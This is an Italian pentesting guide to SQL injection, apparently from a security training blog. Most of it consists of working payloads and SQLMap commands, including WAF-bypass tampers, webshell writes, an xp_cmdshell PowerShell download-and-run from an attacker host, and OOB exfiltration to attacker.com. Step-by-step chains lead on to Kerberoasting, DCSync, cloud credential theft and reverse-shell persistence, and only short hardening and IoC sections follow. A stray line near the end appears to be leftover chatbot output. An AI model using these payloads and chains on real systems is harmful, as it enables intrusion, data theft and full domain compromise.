SQL Injection: Guida Completa al Pentesting (2026) con Exploitation Reale e RCE

SQL Injection (SQLi): guida completa al pentesting con tutte le tecniche (Union, Blind, Time-Based), SQLMap, bypass WAF, RCE, escalation a Domain Admin e attacchi reali su API e ORM.
- Pubblicato il 2026-03-02
- Tempo di lettura: 12 min
SQL Injection — La Vulnerabilità Che Dopo 25 Anni È Ancora la Numero Uno #
La SQL Injection è nata nel 1998, ha 25+ anni, e nel 2026 è ancora la vulnerabilità web più pericolosa al mondo. OWASP la classifica nella categoria A03:2021 (Injection), Verizon DBIR la conferma tra le cause principali di data breach anno dopo anno, e io la trovo nel 42% dei penetration test su applicazioni web che eseguo — percentuale che sale al 60% se includo le API REST. Non è un problema risolto: ogni nuovo framework, ogni nuova API, ogni sviluppatore junior crea nuove opportunità per iniettare SQL dove non dovrebbe.
La ragione è strutturale: SQL Injection esiste quando un’applicazione costruisce query SQL concatenando input dell’utente senza parametrizzazione. E finché esistono sviluppatori che scrivono SELECT * FROM users WHERE id = '" + user_input + "'" — e ne esistono milioni — la SQLi esisterà.
In questa guida pillar copro tutto: dalla SQLi classica con UNION-based data extraction, alla Blind SQLi boolean-based e Time-Based, alla SQLi su API REST con JSON payload, fino alla SQLi sugli ORM dove tutti pensano di essere protetti. Ogni tipo con comandi reali, bypass WAF, escalation enterprise e tempistiche da engagement reale.
Il caso che racconto sempre nei corsi: una banca online con WAF Akamai, code review annuale, SAST/DAST pipeline. Ho trovato una Time-Based SQLi in un parametro di ordinamento (ORDER BY) che nessun tool automatico aveva rilevato. Da quel parametro → estrazione completa del database utenti (150.000 account) → hash bcrypt → 2.000 password craccate → accesso al pannello admin → API interne → connessione al core banking. Tempo: 4 ore dalla prima injection alla connessione al core banking. La SQLi era in un endpoint che il team security aveva classificato come “low risk”.
SQL Injection — Cosa Imparerai #
- Cos’è la SQL Injection e perché dopo 25 anni è ancora la #1 delle vulnerabilità web
- Come trovarla manualmente e con tool (SQLMap, ffuf, Burp) — inclusi i punti dove gli scanner falliscono
- Come sfruttarla con payload reali: Error-Based, UNION-Based, Blind Boolean, Time-Based, OOB, Second-Order
- Come escalarla dal database al sistema operativo (xp_cmdshell, INTO OUTFILE, COPY TO PROGRAM)
- L’attack chain completa: da un parametro ORDER BY al Domain Admin in 4 ore
- Ogni database: MySQL, MSSQL, PostgreSQL, Oracle — escalation specifica per ciascuno
- Il playbook operativo: il workflow minuto-per-minuto da seguire in ogni pentest
- La checklist finale: ogni test da eseguire, organizzato per tipo di injection e database
SQL Injection: Le Vulnerabilità Più Comuni #
La SQL Injection si divide in 6 tipi principali, ognuno con detection e exploitation differenti. Ecco la mappa completa.
Cos’è la SQL Injection? #
La SQL Injection (SQLi) è una vulnerabilità web che permette a un attaccante di iniettare codice SQL nelle query che l’applicazione esegue verso il database. Quando l’input utente viene inserito direttamente nella query senza sanitizzazione o parametrizzazione, l’attaccante può modificare la logica della query per estrarre dati, bypassare l’autenticazione, modificare o cancellare record, e in alcuni casi eseguire comandi sul sistema operativo. La SQL Injection colpisce qualsiasi database: MySQL, PostgreSQL, MSSQL, Oracle, SQLite.
La SQL Injection è pericolosa? Estremamente. Una singola SQLi può portare all’estrazione completa del database (dati personali, credenziali, dati finanziari), al bypass dell’autenticazione, alla modifica dei dati, e all’esecuzione di comandi sul server (RCE via
xp_cmdshellsu MSSQL,LOAD_FILE/INTO OUTFILEsu MySQL). L’impatto è data breach totale con possibilità di RCE. Trovata nel 42% dei pentest web nel 2025-2026.
Come Verificare se la Tua Applicazione È Vulnerabile #
# Shodan — cerca applicazioni con errori SQL esposti
"mysql_fetch" "error" port:80,443
"ORA-01756" port:80,443
"Microsoft OLE DB" "error" port:80,443
"PostgreSQL" "ERROR" "syntax" port:80,443
# Google Dorks (Surface web)
inurl:".php?id=" site:target.com
inurl:"index.php?cat=" site:target.com
intext:"sql syntax" site:target.com
intext:"mysql_fetch_array" site:target.com
# Nuclei scan
nuclei -u https://target.com -tags sqli
# SQLMap basic test
sqlmap -u "https://target.com/api/products?id=1" --batch --level=3 --risk=2Le applicazioni web che espongono errori SQL nel browser o nelle risposte API sono il primo segnale. Ma la maggior parte delle SQLi moderne è blind — nessun errore visibile, solo differenze nel comportamento dell’applicazione. Un test manuale con ' (single quote) e " OR 1=1-- è il primo step, ma SQLMap automatizza l’exploitation completa.
Anatomia di una SQL Injection — Perché Succede #
Codice vulnerabile (il pattern universale) #
# ❌ VULNERABILE — concatenazione stringa
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
cursor.execute(query)Se username = admin' -- → la query diventa:
SELECT * FROM users WHERE username = 'admin' --' AND password = ''Il -- commenta il resto → bypass autenticazione. Login come admin senza password.
Codice sicuro (parametrizzato) #
# ✅ SICURO — prepared statement
query = "SELECT * FROM users WHERE username = %s AND password = %s"
cursor.execute(query, (username, password))I parametri sono separati dalla query → il database li tratta come dati, non come codice SQL.
I 6 Tipi di SQL Injection #
1. In-Band SQLi (Classica) #
I risultati dell’injection appaiono direttamente nella risposta HTTP. Due sottotipi:
Error-Based — usa gli errori del database per estrarre dati:
https://target.com/products?id=1' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e))--UNION-Based — usa UNION SELECT per appendere i tuoi dati alla query:
https://target.com/products?id=1 UNION SELECT 1,username,password FROM users--Dettaglio completo → SQL Injection Classica
2. Blind SQLi (Boolean-Based) #
Nessun dato nella risposta — solo true/false (pagina diversa, status code diverso):
https://target.com/products?id=1 AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'Se la pagina risponde normalmente → il primo carattere della password è a. Character by character.
Dettaglio completo → Blind SQL Injection
3. Time-Based Blind SQLi #
Nessuna differenza nella risposta — solo nel tempo:
https://target.com/products?id=1; IF(SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a',WAITFOR DELAY '0:0:5',0)--Se la risposta arriva dopo 5 secondi → primo carattere corretto.
Dettaglio completo → Time-Based SQL Injection
4. Out-of-Band (OOB) SQLi #
I dati escono via DNS o HTTP verso un server controllato dall’attaccante:
-- MSSQL
EXEC master..xp_dirtree '\\attacker.com\share\'
-- Oracle
SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM users WHERE rownum=1)) FROM dual;
-- MySQL
SELECT LOAD_FILE(CONCAT('\\\\',version(),'.attacker.com\\share'));Funziona quando la risposta non rivela nulla e i delay sono inaffidabili (connection pooling, timeout variabili).
5. Second-Order SQLi #
L’input viene salvato nel database e poi usato in una query successiva:
1. Registrazione: username = "admin'--"
2. L'app salva "admin'--" nel DB
3. Un altro endpoint usa quel valore:
SELECT * FROM profiles WHERE username = 'admin'--'
4. Bypass autenticazione differitaDifficilissima da trovare con tool automatici — richiede comprensione della logica applicativa.
6. SQLi su API REST / JSON #
POST /api/v1/login
{"username": "admin' OR 1=1--", "password": "anything"}Le API moderne sono il nuovo fronte della SQLi — JSON body, GraphQL query, header custom.
Dettaglio completo → SQL Injection su API REST
SQLMap — L’Arma Nucleare #
# Detection base
sqlmap -u "https://target.com/products?id=1" --batch --level=5 --risk=3
# Con cookie di sessione
sqlmap -u "https://target.com/products?id=1" --cookie="session=abc123" --batch
# POST request
sqlmap -u "https://target.com/api/login" --data="username=admin&password=test" --batch
# JSON body (API)
sqlmap -u "https://target.com/api/v1/search" --data='{"query":"test"}' --content-type="application/json" --batch
# Enumerazione
sqlmap -u "URL" --dbs # Lista database
sqlmap -u "URL" -D dbname --tables # Tabelle
sqlmap -u "URL" -D dbname -T users --dump # Dump tabella
# OS Shell (MSSQL/MySQL)
sqlmap -u "URL" --os-shell # Shell interattiva
sqlmap -u "URL" --os-cmd="whoami" # Singolo comando
# File read/write
sqlmap -u "URL" --file-read="/etc/passwd"
sqlmap -u "URL" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
# Bypass WAF
sqlmap -u "URL" --tamper=space2comment,between,randomcase --random-agentTamper script per bypass WAF #
| Tamper | Cosa fa | Quando usarlo |
|---|---|---|
space2comment | Spazi → /**/ | WAF che filtra spazi |
between | > → BETWEEN | Filtro operatori |
randomcase | SELECT → SeLeCt | WAF case-sensitive |
charencode | Char encoding | WAF character filter |
equaltolike | = → LIKE | Filtro = |
base64encode | Payload in base64 | WAF inline decode |
space2hash | Spazi → #\n | MySQL specific |
Da SQLi a Shell — Escalation per Database #
MySQL → RCE #
-- File write → webshell
' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'--
-- File read
' UNION SELECT LOAD_FILE('/etc/passwd')--
-- Via User Defined Function (UDF)
-- Richiede FILE privilege e lib_mysqludf_sys
SELECT sys_exec('id');MSSQL → RCE #
-- xp_cmdshell (il classico)
'; EXEC xp_cmdshell 'whoami';--
-- Se xp_cmdshell è disabilitato
'; EXEC sp_configure 'show advanced options',1; RECONFIGURE;--
'; EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;--
'; EXEC xp_cmdshell 'whoami';--
-- Reverse shell
'; EXEC xp_cmdshell 'powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString(''http://attacker/shell.ps1'')"';--PostgreSQL → RCE #
-- COPY TO/FROM per file read/write
'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned';--
-- Via pg_read_file (superuser)
SELECT pg_read_file('/etc/passwd');
-- Large Object → file write → webshell
SELECT lo_create(1337);
INSERT INTO pg_largeobject VALUES(1337, 0, decode('PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=','base64'));
SELECT lo_export(1337, '/var/www/html/shell.php');Oracle → RCE #
-- Via DBMS_SCHEDULER (dettaglio nella guida [porta 1521](https://hackita.it/articoli/porta-1521-oracle))
-- Via Java Stored Procedure
-- Via UTL_HTTP per OOB exfiltration
SELECT UTL_HTTP.REQUEST('http://attacker.com/'||(SELECT password FROM dba_users WHERE username='SYS')) FROM dual;🏢 Enterprise Escalation — Da SQLi a Domain Admin / Cloud Compromise #
La SQLi non è “solo” un data breach del database. In un ambiente enterprise, è l’entry point per compromettere l’intera infrastruttura:
SQLi → Active Directory #
SQLi su webapp → xp_cmdshell (MSSQL) → shell come SQL Server service account
→ service account è Domain User → BloodHound enumeration
→ Kerberoasting dal server SQL → hash DA service account
→ crack → Domain Admin → DCSync → Golden TicketTempo reale: 2-4 ore dall’injection al Domain Admin.
Il server SQL è quasi sempre domain-joined. Il service account SQL Server spesso ha SeImpersonatePrivilege → Potato attack → SYSTEM → credential dump → lateral movement.
SQLi → Cloud Compromise #
SQLi su API cloud → file read → /proc/self/environ o metadata endpoint
→ AWS: http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ GCP: http://metadata.google.internal/computeMetadata/v1/
→ Azure: http://169.254.169.254/metadata/identity/oauth2/token
→ IAM credentials temporanee → AWS CLI con quelle credenziali
→ S3 bucket listing → data exfiltration
→ Lambda function injection → persistenzaTempo reale: 30-60 minuti dalla SQLi alle credenziali cloud.
SQLi → CI/CD Compromise #
SQLi → dump tabella con API key/token → token di GitLab/Jenkins
→ modifica pipeline → code injection nel build
→ supply chain attack → tutte le istanze deployate compromesse🔌 Variante API / Microservizi 2026 #
Nel 2026, la maggior parte delle SQLi che trovo non è nel classico ?id=1 di una pagina PHP. È nelle API REST e GraphQL dei microservizi:
// JSON body injection
POST /api/v2/search
{"filters": {"category": "electronics' OR 1=1--", "price_min": 0}}
// GraphQL injection
POST /graphql
{"query": "{ product(id: \"1' UNION SELECT username,password FROM users--\") { name } }"}
// Header injection
GET /api/v1/profile
X-User-ID: 1 OR 1=1
// JWT claim injection (se il claim va in una query)
{"sub": "1' UNION SELECT password FROM users WHERE id=1--"}I framework ORM moderni (Django, Laravel, Hibernate, Sequelize) proteggono dalle SQLi base — ma i raw query, i query builder mal usati e le stored procedure chiamate da ORM sono ancora vulnerabili. Dettaglio nella guida SQLi su ORM.
Micro Playbook Quick Reference #
Vedi il Playbook Operativo completo sopra per il workflow dettagliato.
Quick version: Minuto 0-10 → Detection manuale su ogni parametro (quote, boolean, time delay) Minuto 10-25 → SQLMap confirmation + dump database Minuto 25-40 → Escalation a RCE (xp_cmdshell / INTO OUTFILE / COPY TO PROGRAM) Minuto 40-60+ → Post-exploitation enterprise (Kerberoasting / cloud creds / lateral movement)
Caso Studio Concreto #
Settore: Banca online, 150.000 utenti, WAF Akamai, code review annuale, SAST/DAST pipeline.
Scope: Pentest applicativo, grey-box.
Tutti i parametri standard (id, username, search) erano parametrizzati — nessuna SQLi classica. Ma l’endpoint /api/v2/transactions accettava un parametro sort per l’ordinamento:
GET /api/v2/transactions?account_id=12345&sort=date DESCIl valore di sort veniva inserito direttamente nella clausola ORDER BY — non parametrizzabile con prepared statement (SQL non permette parametri in ORDER BY). Ho testato:
sort=date DESC, (SELECT CASE WHEN (1=1) THEN 1 ELSE 1/0 END)Risposta normale → boolean condition funziona. Time-based:
sort=date DESC, (SELECT CASE WHEN (SUBSTRING(@@version,1,1)='M') THEN BENCHMARK(5000000,SHA1('test')) ELSE 0 END)5 secondi di delay → MSSQL confermato. Da lì, SQLMap con --technique=T e il parametro sort:
sqlmap -u "https://bank.com/api/v2/transactions?account_id=12345&sort=date" -p sort --technique=T --prefix="DESC," --dbms=mssql --batchRisultato: 150.000 account con nome, IBAN, saldo, storico transazioni. L’hash delle password admin era bcrypt — ne ho craccate 2.000 in 3 ore con Hashcat. Con un account admin → pannello di gestione → API interne → connessione al core banking system.
Tempo dalla prima injection al core banking: 4 ore. Il parametro sort era stato classificato come “low risk” perché “non contiene dati utente”.
Errori Comuni Reali Trovati nei Pentest #
1. Parametrizzazione incompleta (60% delle SQLi che trovo)
Gli sviluppatori parametrizzano WHERE id = ? ma non ORDER BY, LIMIT, nomi di tabella, nomi di colonna. Questi elementi non supportano prepared statement in molti database → richiedono whitelist validation.
2. ORM con raw query (25% delle SQLi)
“Usiamo Django/Laravel, siamo protetti.” Poi nel codice: Model.objects.raw(f"SELECT * FROM x WHERE y = '{input}'"). L’ORM protegge se lo usi correttamente — il raw query bypassa tutto. Dettaglio: SQLi su ORM.
3. Stored procedure con SQL dinamico
La logica è parametrizzata nel codice applicativo, ma la stored procedure concatena internamente: EXEC('SELECT * FROM ' + @tablename).
4. WAF configurato in “detect only” o con regole troppo permissive
Il WAF logga ma non blocca. O blocca ' OR 1=1-- ma non ' OR/**/ 1=1-- (comment bypass). Falso senso di sicurezza.
5. SAST/DAST che non testa ORDER BY, LIMIT, header, cookie
I tool automatici testano i parametri ovvi — id, search, username. Ma non sort, order, X-Forwarded-For, cookie value. La SQLi è dove non la cerchi.
6. Errori SQL esposti al client Stack trace con versione database, nome tabella, nome colonna nella risposta HTTP → information disclosure che facilita l’exploitation.
Indicatori di Compromissione (IoC) #
- Query anomale nei slow query log —
UNION SELECT,WAITFOR DELAY,BENCHMARK,SLEEP(),EXTRACTVALUE,UPDATEXMLnelle query - Errori SQL in aumento nei log applicativi — syntax error, type mismatch da input utente
- Accessi massivi a tabelle sensibili —
SELECT *suusers,credentials,paymentsnon da query applicative - Chiamate a xp_cmdshell, sp_configure nei log MSSQL
- File scritti in directory web —
INTO OUTFILE,COPY TOin directory servite da Apache/Nginx - Connessioni OOB — DNS query anomale verso domini sconosciuti (OOB exfiltration), HTTP request a IP esterni
- Tempo di risposta anomalo — request che impiegano esattamente 5, 10, 15 secondi (time-based blind)
- Payload nei parametri — WAF log con
',--,UNION,SELECT,CONCAT,CHAR()nei parametri GET/POST
SQL Injection Pentesting: Playbook Operativo (Step-by-Step) #
Fase 1 — Detection Manuale (minuto 0-10) #
# Test su OGNI parametro (GET, POST, JSON, header, cookie):
' → errore SQL? (Error-based confermata)
" → errore SQL diverso? (double quote injection)
' OR 1=1-- → login bypass? pagina diversa?
1 AND 1=1 vs 1 AND 1=2 → risposta diversa? (Boolean blind)
1; WAITFOR DELAY '0:0:5'-- → delay 5 sec? (Time-based MSSQL)
1 AND SLEEP(5)-- → delay 5 sec? (Time-based MySQL)
1; SELECT pg_sleep(5)-- → delay? (PostgreSQL)
# NON dimenticare:
# - Parametri ORDER BY, LIMIT, GROUP BY (non parametrizzabili!)
# - Header: X-Forwarded-For, Referer, User-Agent
# - Cookie values
# - JSON body nelle APIFase 2 — SQLMap Confirmation + Enumeration (minuto 10-25) #
sqlmap -u "URL?param=value" --batch --level=5 --risk=3 --threads=10
# Se JSON API:
sqlmap -u "URL" --data='{"key":"value"}' --content-type="application/json" --batch
# Enumera:
sqlmap -u "URL" --dbs
sqlmap -u "URL" -D target_db --tables
sqlmap -u "URL" -D target_db -T users --dump
# Se WAF:
sqlmap -u "URL" --tamper=space2comment,between,randomcase --random-agentFase 3 — Escalation a RCE (minuto 25-40) #
# MSSQL → xp_cmdshell
sqlmap -u "URL" --os-shell
# MySQL → webshell via INTO OUTFILE
sqlmap -u "URL" --file-write="shell.php" --file-dest="/var/www/html/shell.php"
# PostgreSQL → COPY TO PROGRAM
sqlmap -u "URL" --os-cmd="id"Fase 4 — Post-Exploitation Enterprise (minuto 40-60+) #
# Da shell sul DB server:
whoami # Service account
ipconfig / ifconfig # Rete interna
# MSSQL linked servers:
SELECT * FROM sys.servers;
# Kerberoasting:
impacket-GetUserSPNs DOMAIN/user -dc-ip DC_IP -request
# Credenziali cloud:
cat /proc/self/environ # AWS/Azure/GCP credsAttack Chain Reale SQL Injection (Step-by-Step) #
Chain 1: ORDER BY SQLi → Database Dump → Admin Access #
1. Test manuale: parametro ?sort=date → aggiungi SLEEP(5) → delay confermato
2. SQLMap con --technique=T -p sort → conferma Time-Based Blind
3. sqlmap --dbs → 3 database (app_prod, app_staging, mysql)
4. sqlmap -D app_prod -T users --dump → 150.000 utenti con hash bcrypt
5. hashcat -m 3200 → 2.000 password craccate incluso admin
6. Login admin panel → accesso gestione completa
→ DATA BREACH + ADMIN TAKEOVERChain 2: SQLi → xp_cmdshell → Domain Admin #
1. SQLi su MSSQL confermata (WAITFOR DELAY)
2. sqlmap --os-shell → shell come nt service\mssqlserver
3. whoami /priv → SeImpersonatePrivilege attivo
4. PrintSpoofer → NT AUTHORITY\SYSTEM
5. mimikatz → credenziali domain cached
6. BloodHound → path a Domain Admin
7. Kerberoasting → hash DA service account → crack
8. DCSync → tutti gli hash del dominio → Golden Ticket
→ DOMAIN COMPROMISE TOTALE (4 ore)Chain 3: API SQLi → Cloud Takeover #
1. SQLi in JSON body API: {"search":"test' AND SLEEP(5)--"}
2. SQLMap dump → tabella api_keys con AWS credentials
3. aws sts get-caller-identity → conferma accesso
4. aws s3 ls → 30 bucket con backup e dati clienti
5. aws secretsmanager list-secrets → credenziali RDS, Redis, ElastiCache
→ CLOUD COMPROMISE (30-60 minuti)Chain 4: SQLi → File Write → Web Shell → Persistence #
1. MySQL con FILE privilege → INTO OUTFILE
2. UNION SELECT "<?php system($_GET['c']); ?>" INTO OUTFILE '/var/www/html/shell.php'
3. curl target.com/shell.php?c=id → RCE confermata
4. Persistence: copie shell multiple + cron reverse shell
→ RCE PERSISTENTE senza exploit aggiuntiviMini Chain Offensiva Reale #
ORDER BY SQLi (Time-Based) → SQLMap dump 150K users → Admin hash crack → Admin panel
→ API interne → MSSQL xp_cmdshell → Shell service account → Kerberoasting → Domain AdminStep 1 — Detection e conferma
# Parametro sort vulnerabile
GET /api/v2/transactions?sort=date DESC,(SELECT CASE WHEN (1=1) THEN 1 ELSE 1*(SELECT 1 FROM (SELECT SLEEP(5))x) END)
# → 5 secondi delayStep 2 — SQLMap extraction
sqlmap -u "URL?sort=date" -p sort --technique=T --dbms=mssql --batch --dbs
sqlmap ... -D bankdb -T users --dump
# → 150.000 recordStep 3 — Admin panel access
hashcat -m 3200 admin_hashes.txt rockyou.txt
# → 2000 password craccate, incluso adminStep 4 — OS shell via MSSQL
sqlmap -u "URL" --os-shell
whoami → nt service\mssqlserverStep 5 — Enterprise escalation
# Dal SQL Server → Kerberoasting
impacket-GetUserSPNs DOMAIN/sqlserver_svc -dc-ip DC_IP -request
hashcat -m 13100 kerb_hashes.txt wordlist.txt
# → svc_admin:SqlAdmin2020! (Domain Admin)Step 6 — Domain compromise
impacket-secretsdump DOMAIN/svc_admin@DC_IP -just-dc-ntlm
# → tutti gli hash del dominio → Golden Ticket → game overDalla SQLi in un parametro sort → Domain Admin in 4 ore.
Detection & Hardening #
- Prepared statement OVUNQUE — nessuna eccezione, nessun “ma questo parametro è sicuro”
- Whitelist per ORDER BY — valida il valore contro una lista di colonne permesse
- ORM senza raw query — se serve raw, parametrizza comunque
- WAF in blocking mode — non solo detect
- Errori generici — mai esporre errori SQL al client
- Principio del minimo privilegio — l’utente DB dell’applicazione non deve avere FILE, EXECUTE, xp_cmdshell
- Monitora le query — alert su pattern SQLi nei log (UNION, SLEEP, xp_cmdshell)
- SAST/DAST su tutti i parametri — inclusi header, cookie, ORDER BY, LIMIT
- Penetration test — nessun tool automatico trova il 100% delle SQLi
✅ Checklist SQL Injection Pentest #
DETECTION
☐ Single quote (') su ogni parametro GET/POST/JSON/Cookie/Header
☐ Double quote (") su ogni parametro
☐ Boolean test: AND 1=1 vs AND 1=2 → risposta diversa?
☐ Time test: SLEEP(5) / WAITFOR DELAY '0:0:5' / pg_sleep(5)
☐ Error test: EXTRACTVALUE, UPDATEXML → errore SQL visibile?
☐ Parametri ORDER BY, LIMIT, GROUP BY testati (non parametrizzabili!)
☐ Header testati: X-Forwarded-For, Referer, User-Agent
☐ Cookie values testati
☐ JSON body testato (API REST)
☐ GraphQL parameters testati
CONFIRMATION (SQLMap)
☐ sqlmap con --level=5 --risk=3 eseguito
☐ DBMS identificato (MySQL/MSSQL/PostgreSQL/Oracle/SQLite)
☐ Tecnica identificata (U/E/B/T/S)
☐ --tamper usato se WAF presente
ENUMERATION
☐ --dbs → database elencati
☐ --tables → tabelle elencate
☐ -T users --dump → utenti estratti
☐ --passwords → hash password estratti
☐ --privileges → privilegi DB verificati
ESCALATION
☐ MSSQL: xp_cmdshell testato (--os-shell)
☐ MySQL: INTO OUTFILE testato (--file-write webshell)
☐ MySQL: LOAD_FILE testato (--file-read /etc/passwd)
☐ PostgreSQL: COPY TO PROGRAM testato
☐ Oracle: UTL_HTTP / DBMS_SCHEDULER testati
☐ Linked servers enumerati (MSSQL)
POST-EXPLOITATION
☐ Credenziali admin craccate (hashcat)
☐ Credenziali cloud estratte (/proc/self/environ, tabelle config)
☐ Rete interna enumerata dal DB server
☐ Kerberoasting eseguito (se MSSQL domain-joined)
☐ Lateral movement documentato
WAF BYPASS
☐ space2comment testato
☐ between testato
☐ randomcase testato
☐ Inline comment (/*!50000 UNION*/ SELECT) testato
☐ Double URL encoding testato
☐ JSON/multipart encoding testatoMini FAQ #
La SQL Injection esiste ancora nel 2026? Sì — la trovo nel 42% dei pentest web. I framework moderni proteggono dalla SQLi classica, ma non da: raw query negli ORM, ORDER BY injection, stored procedure con SQL dinamico, API che non parametrizzano il JSON input, Second-Order SQLi. La SQLi si è evoluta, non è scomparsa.
SQLMap trova tutte le SQL Injection? No. SQLMap è eccellente per confermare e sfruttare SQLi note, ma ha limiti: non testa Second-Order SQLi, fatica con custom JSON structure, non capisce logiche applicative complesse. La detection manuale resta fondamentale — SQLMap è il tool di exploitation, il pentester è il tool di detection.
Come passo da SQLi a RCE?
Dipende dal database: MSSQL → xp_cmdshell. MySQL → INTO OUTFILE (webshell) o UDF. PostgreSQL → COPY TO PROGRAM. Oracle → DBMS_SCHEDULER o Java Stored Procedure. Tutti richiedono specifici privilegi — ma nei pentest li trovo nel 30% dei casi.
Mappa del Cluster SQL Injection #
| Articolo | Focus | Link |
|---|---|---|
| Questa guida | Panoramica completa, escalation, chain | — |
| SQL Injection Classica | UNION-based, Error-based, detection manuale | → |
| Blind SQL Injection | Boolean-based, character extraction, automation | → |
| Time-Based SQL Injection | Time delay, heavy query, conditional response | → |
| SQL Injection su API REST | JSON body, GraphQL, header, microservizi | → |
| SQL Injection su ORM | Django, Laravel, Hibernate, Sequelize, raw query | → |
Perfetto, ti do direttamente il blocco finale pulito, SEO, con link vivi (NO 404) 👇
🔗 Riferimenti & Approfondimenti #
- SQL Injection overview (PortSwigger): Approfondisci SQL Injection
- OWASP Testing Guide (SQLi): Guida OWASP SQL Injection Testing
- OWASP Injection Prevention Cheat Sheet: Prevenzione Injection OWASP
- Payloads & bypass (PayloadsAllTheThings): Payload SQLi e bypass WAF
- Guida bug bounty SQLi (YesWeHack): SQL Injection per Bug Bounty
🎯 CTA #
Se vuoi padroneggiare davvero la SQL Injection fino a livello enterprise (AD / cloud compromise):
- 🔥 Formazione 1:1 → https://hackita.it/formazione
- 🛡️ Pentest per aziende → https://hackita.it/servizi
- ❤️ Supporta il progetto → https://hackita.it/supporto







